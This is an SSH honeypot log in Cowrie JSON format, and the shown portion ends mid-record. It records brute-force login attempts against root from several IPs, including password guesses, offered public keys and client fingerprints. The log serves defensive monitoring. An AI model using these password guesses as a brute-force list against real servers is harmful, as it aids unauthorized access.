{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:a3:f8:f9:2b:3d:ef:00:d8:2f:e5:13:73:b6:3f:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCLO86+MDiPa+SxPm11dvUCbQZ4InZ/wexncJaA+R0r2FG4rm1Jymm8y2jJMGxqR6j/Pl+mNKAFcOwJNCLiD6q2yg1JD4SqF+E9lMNLoBu0BI1RqdagbCoEAlEokcE67vHNDaUcGSS0S+YsszQaaiHRDX9ETEJlJKm/Iqc8lYbkE3QtzaMdfHWisr44pTXVIkdH6QSOMs0D7NPmoXG4tA1PeCd4MQw/6xZVNLXcfGjvlZ977Jk3MPUuXEpC3PRklhGJoyJxQC6djuhBda6KEqJRB5UUh/R7m4V1UhubcFzRQ/QFndejG0Y5clhhXfz68NCqXsG6BJsg8VmhjFBDceN5R6MV0A6xX+Zmfww2bS4/BABorYcmLrCxzjLWE/D3aonO5P79pD0TQWbhKkrGFqhQ1w0HReROh9eLEKHhkyWC+n2xZA0t7KWriYxZwonU6OqyHeAUkfYKlBsc7kR1QO8f65qPXcDh4e3xXQDdMQ3HO+fnv92daSQMa5eQjjJwFNoq0iEkuzTsVDD6jQ9anI7u9aTIE5gZHbejdGPCPvmD1BlG+eTPAidWluW+2wPu6SYSYMTlgevGNSg5len0VbcHYEv2zO5tzerThVysjuhiTwA6asUSIUTLByXmP3s/ETdvl6UHLVf/DkMnSRJdotGQljLzLAW04F8ldBNMirN4Ow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.336073Z","src_ip":"104.243.46.222","session":"d1c3c3327031","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:89:f7:e1:b8:69:7f:ee:5b:f7:fc:a7:8d:ce:03:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcXsQgVpoTWu+SQZF7OM2sbnFHIfjf5pRcNGVZF12pwTACJ/6WmiJ8aAOhnbo9VepH3uoDBXjx/Z0vuhRQFaoLaDFkJhcMdEMAlqyM2f9jCMG2X2sZwcuZjyB2fDP9ZPqurAdhq9Q+/PbeOTmz1rSjNFZ2q7X+hhh281Wn40X90DTg8YZsFpb5nYFFdEYzG0d9MBolhqX1DCAHLRFkRVsheMRq7mlUUX9GlBIjsta3nix/4dv+4jCu9OplqsASZFCd5R/HB5l6lVVNroC6kpEc4WMpciy8zw7P7TenfvI3vCNy1kELvYxkT33bPQXBu5zRj/tM0bCC9I4dUEnNkjzvsqtsY8uE/iEBr5UOqBjrjPp3CrQOYovHmROSGalgLVtfYBV5zua0xUwCWTZ3aVBiaD8ag3BVs6VC7WDY7HUbVLmNW59LB5dlKl9f+FDunHUODFrV3tNrWO+4ifugCLz8e4U5T0ZAzZKruIpAd60NkGt4H1k26DjdVWOR9iAgvcl92MR8NSJdhA3YzqF+KfRIHgEWkVJYZB4pcUWjbRbhSSQvEDLdGOEgoqkemip0d1Bm//7w68bNNOTfIbLJjkEi1MzkROSZNhYCcB+35R5Cn3pa0ki8AnYdaHFCFw0HDunh0PZC9moFPJqFZhPBCQC2TAM3S8sjFmdW5mB2jEibGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:89:f7:e1:b8:69:7f:ee:5b:f7:fc:a7:8d:ce:03:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.374840Z","src_ip":"104.243.46.222","session":"d1c3c3327031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:89:f7:e1:b8:69:7f:ee:5b:f7:fc:a7:8d:ce:03:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcXsQgVpoTWu+SQZF7OM2sbnFHIfjf5pRcNGVZF12pwTACJ/6WmiJ8aAOhnbo9VepH3uoDBXjx/Z0vuhRQFaoLaDFkJhcMdEMAlqyM2f9jCMG2X2sZwcuZjyB2fDP9ZPqurAdhq9Q+/PbeOTmz1rSjNFZ2q7X+hhh281Wn40X90DTg8YZsFpb5nYFFdEYzG0d9MBolhqX1DCAHLRFkRVsheMRq7mlUUX9GlBIjsta3nix/4dv+4jCu9OplqsASZFCd5R/HB5l6lVVNroC6kpEc4WMpciy8zw7P7TenfvI3vCNy1kELvYxkT33bPQXBu5zRj/tM0bCC9I4dUEnNkjzvsqtsY8uE/iEBr5UOqBjrjPp3CrQOYovHmROSGalgLVtfYBV5zua0xUwCWTZ3aVBiaD8ag3BVs6VC7WDY7HUbVLmNW59LB5dlKl9f+FDunHUODFrV3tNrWO+4ifugCLz8e4U5T0ZAzZKruIpAd60NkGt4H1k26DjdVWOR9iAgvcl92MR8NSJdhA3YzqF+KfRIHgEWkVJYZB4pcUWjbRbhSSQvEDLdGOEgoqkemip0d1Bm//7w68bNNOTfIbLJjkEi1MzkROSZNhYCcB+35R5Cn3pa0ki8AnYdaHFCFw0HDunh0PZC9moFPJqFZhPBCQC2TAM3S8sjFmdW5mB2jEibGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.378478Z","src_ip":"104.243.46.222","session":"d1c3c3327031","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:fa:84:c8:60:6e:a0:c6:d0:72:78:4d:2f:6b:96:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcnCuMhXf4LL+drGON8pm4S/oOZZKGL9x4aA9MmSla+O+TIe7+RvunmyzmwgtvItUg6p7BNFjHliW3WRwtJIGUxUTAy24rl/0roEMuXE2gQPXOwcT+HFng6dE0HvRStzadXEQdhSVInwVTFoYUumCCvyn/UTPDULV8sFBzBrx+Z3XfsJn8lOaaiOJB1dvuYIFflonEYmZe9c2GlnpzlFxOHTBzkT1M1As17VDyT2y7YlfdAedkskowaJ5LxwyWlAObBtzgKijtCkvYZG+pwRRP0kNLwWInRgDTF09utpH/6jM5h2BkhKK0/pMT/jZP95GUA+s59gbzLt5RVQPMDNkjkeA0E6YJCgR/I5+5DXvW/XS7443qwQHa0900dlh30AcUnWBAPEqxJNZIcUZtVjETGAi1aUKn1bmCT93RQiIjg/qk86+oTAXiL5SmXQV7iBetKl+lQGT8cesktB3kaoKLWpgaAsHbnEN9kg8JJOKcMqvIHRQEf5ej69tDTsRhJlx1AhTCcZjW4OIRLF9Tk5m8z6wzHt2Mb1C1wtJf1LeWetxzPJwJZdRW797qfKeEzVXyTtrCj2OOnuDeysE3nKnpUvXVDoST8QwQ9k62HfQTBGl92PBNkMy/oj+OwwlmKeQ6QNxNMSvgkJoDH7VhvS/VKfiExA8j0b9dXPHlgZ/kdw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:fa:84:c8:60:6e:a0:c6:d0:72:78:4d:2f:6b:96:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.416033Z","src_ip":"104.243.46.222","session":"d1c3c3327031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:fa:84:c8:60:6e:a0:c6:d0:72:78:4d:2f:6b:96:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcnCuMhXf4LL+drGON8pm4S/oOZZKGL9x4aA9MmSla+O+TIe7+RvunmyzmwgtvItUg6p7BNFjHliW3WRwtJIGUxUTAy24rl/0roEMuXE2gQPXOwcT+HFng6dE0HvRStzadXEQdhSVInwVTFoYUumCCvyn/UTPDULV8sFBzBrx+Z3XfsJn8lOaaiOJB1dvuYIFflonEYmZe9c2GlnpzlFxOHTBzkT1M1As17VDyT2y7YlfdAedkskowaJ5LxwyWlAObBtzgKijtCkvYZG+pwRRP0kNLwWInRgDTF09utpH/6jM5h2BkhKK0/pMT/jZP95GUA+s59gbzLt5RVQPMDNkjkeA0E6YJCgR/I5+5DXvW/XS7443qwQHa0900dlh30AcUnWBAPEqxJNZIcUZtVjETGAi1aUKn1bmCT93RQiIjg/qk86+oTAXiL5SmXQV7iBetKl+lQGT8cesktB3kaoKLWpgaAsHbnEN9kg8JJOKcMqvIHRQEf5ej69tDTsRhJlx1AhTCcZjW4OIRLF9Tk5m8z6wzHt2Mb1C1wtJf1LeWetxzPJwJZdRW797qfKeEzVXyTtrCj2OOnuDeysE3nKnpUvXVDoST8QwQ9k62HfQTBGl92PBNkMy/oj+OwwlmKeQ6QNxNMSvgkJoDH7VhvS/VKfiExA8j0b9dXPHlgZ/kdw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.419814Z","src_ip":"104.243.46.222","session":"d1c3c3327031","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:21:47:95:7a:3a:5c:68:e7:15:8f:68:ca:4f:f5:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC88RNwjm0AtJVSfHC4T593OEjyxd4jt8lcoMY005AbbCSUdooqLa9d6IW8cUu991Q8a3/eml5OGjnJcfE5/1RtGO893PXE1brAHMw6Bwr/AYrcgtbEwY0MZaMSE3gj86xfSRSjl+Jc3p2IO54snklnuX4e7dBBOjRKiWMG/KVZUnR5lCJTcbr3sWovE7N4wWyNuyx06AQ+Wl5xtR+jHCed8XxPXDB9evlQYJt3WUbx/NuGmFK17Wn/RK1ZlbjT3F7d5oNBlj34AZJh3tls/8IZ2MiT0FM5V5dQdBUP/NBZIMO5jdqzuJyp7wUdOhafrnpF1Z+pundJRoDdwsQeIIwJ79Vz13oaeZ5a+vRMV7airzh1OnsLoA/pmnLWQXQFf1OEd9DdsAph17CXUCkazV9gB6D5rngCTuN11paJvLuVdFHLqCcZaRAqyNMh0sD+G/aYu2f4pLbRu1Lke48T9OWEfZKRu8YW14MVwtyvwSd01sLp+r6KqEWFBqwVvGfAPrymZMzhoAbpWqlKBzzenEhm79KMnmA9DU9PUcZOqYThaaFCWGtj2ZZCoX4OQbt+gRIP0GBCIbSi2+y3FPMevFTUq77rr0LbD7e2EiCayRWpkEUIVSkSzLDL0XnVTJwqxHn1RIhPXaa1FbOxjrtOsgwjzeqy0FOXCq0BQkIbH9QabQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:21:47:95:7a:3a:5c:68:e7:15:8f:68:ca:4f:f5:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.457543Z","src_ip":"104.243.46.222","session":"d1c3c3327031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:21:47:95:7a:3a:5c:68:e7:15:8f:68:ca:4f:f5:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC88RNwjm0AtJVSfHC4T593OEjyxd4jt8lcoMY005AbbCSUdooqLa9d6IW8cUu991Q8a3/eml5OGjnJcfE5/1RtGO893PXE1brAHMw6Bwr/AYrcgtbEwY0MZaMSE3gj86xfSRSjl+Jc3p2IO54snklnuX4e7dBBOjRKiWMG/KVZUnR5lCJTcbr3sWovE7N4wWyNuyx06AQ+Wl5xtR+jHCed8XxPXDB9evlQYJt3WUbx/NuGmFK17Wn/RK1ZlbjT3F7d5oNBlj34AZJh3tls/8IZ2MiT0FM5V5dQdBUP/NBZIMO5jdqzuJyp7wUdOhafrnpF1Z+pundJRoDdwsQeIIwJ79Vz13oaeZ5a+vRMV7airzh1OnsLoA/pmnLWQXQFf1OEd9DdsAph17CXUCkazV9gB6D5rngCTuN11paJvLuVdFHLqCcZaRAqyNMh0sD+G/aYu2f4pLbRu1Lke48T9OWEfZKRu8YW14MVwtyvwSd01sLp+r6KqEWFBqwVvGfAPrymZMzhoAbpWqlKBzzenEhm79KMnmA9DU9PUcZOqYThaaFCWGtj2ZZCoX4OQbt+gRIP0GBCIbSi2+y3FPMevFTUq77rr0LbD7e2EiCayRWpkEUIVSkSzLDL0XnVTJwqxHn1RIhPXaa1FbOxjrtOsgwjzeqy0FOXCq0BQkIbH9QabQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.461352Z","src_ip":"104.243.46.222","session":"d1c3c3327031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.499945Z","src_ip":"104.243.46.222","session":"d1c3c3327031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":57952,"dst_ip":"159.203.135.109","dst_port":22,"session":"b756f7a5aa94","protocol":"ssh","message":"New connection: 87.251.79.125:57952 (159.203.135.109:22) [session: b756f7a5aa94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:55.053425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:55.059860Z","src_ip":"87.251.79.125","session":"b756f7a5aa94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:55.131753Z","src_ip":"87.251.79.125","session":"b756f7a5aa94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jordan23","message":"login attempt [root/jordan23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:55.347341Z","src_ip":"87.251.79.125","session":"b756f7a5aa94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:56.421154Z","src_ip":"87.251.79.125","session":"b756f7a5aa94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":38092,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1b60a20939a","protocol":"ssh","message":"New connection: 103.75.182.198:38092 (10.17.0.5:22) [session: e1b60a20939a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:40.694391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:40.699581Z","src_ip":"103.75.182.198","session":"e1b60a20939a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:40.947911Z","src_ip":"103.75.182.198","session":"e1b60a20939a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321321","message":"login attempt [root/321321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:41.692702Z","src_ip":"103.75.182.198","session":"e1b60a20939a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:42.944370Z","src_ip":"103.75.182.198","session":"e1b60a20939a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":36312,"dst_ip":"10.17.0.5","dst_port":22,"session":"782b32b0bab6","protocol":"ssh","message":"New connection: 181.188.176.245:36312 (10.17.0.5:22) [session: 782b32b0bab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:51.084337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:51.087967Z","src_ip":"181.188.176.245","session":"782b32b0bab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:51.252899Z","src_ip":"181.188.176.245","session":"782b32b0bab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":54784,"dst_ip":"10.17.0.5","dst_port":22,"session":"0361cf664d63","protocol":"ssh","message":"New connection: 103.173.227.57:54784 (10.17.0.5:22) [session: 0361cf664d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:51.862846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:51.867637Z","src_ip":"103.173.227.57","session":"0361cf664d63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456QWERTY","message":"login attempt [root/123456QWERTY] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:51.949628Z","src_ip":"181.188.176.245","session":"782b32b0bab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:52.102144Z","src_ip":"103.173.227.57","session":"0361cf664d63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cdjkjxm","message":"login attempt [root/cdjkjxm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:52.805787Z","src_ip":"103.173.227.57","session":"0361cf664d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:53.118690Z","src_ip":"181.188.176.245","session":"782b32b0bab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:11:54.043664Z","src_ip":"103.173.227.57","session":"0361cf664d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":40970,"dst_ip":"10.17.0.5","dst_port":22,"session":"21ed98db9059","protocol":"ssh","message":"New connection: 103.27.238.114:40970 (10.17.0.5:22) [session: 21ed98db9059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:03.752833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:03.758958Z","src_ip":"103.27.238.114","session":"21ed98db9059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 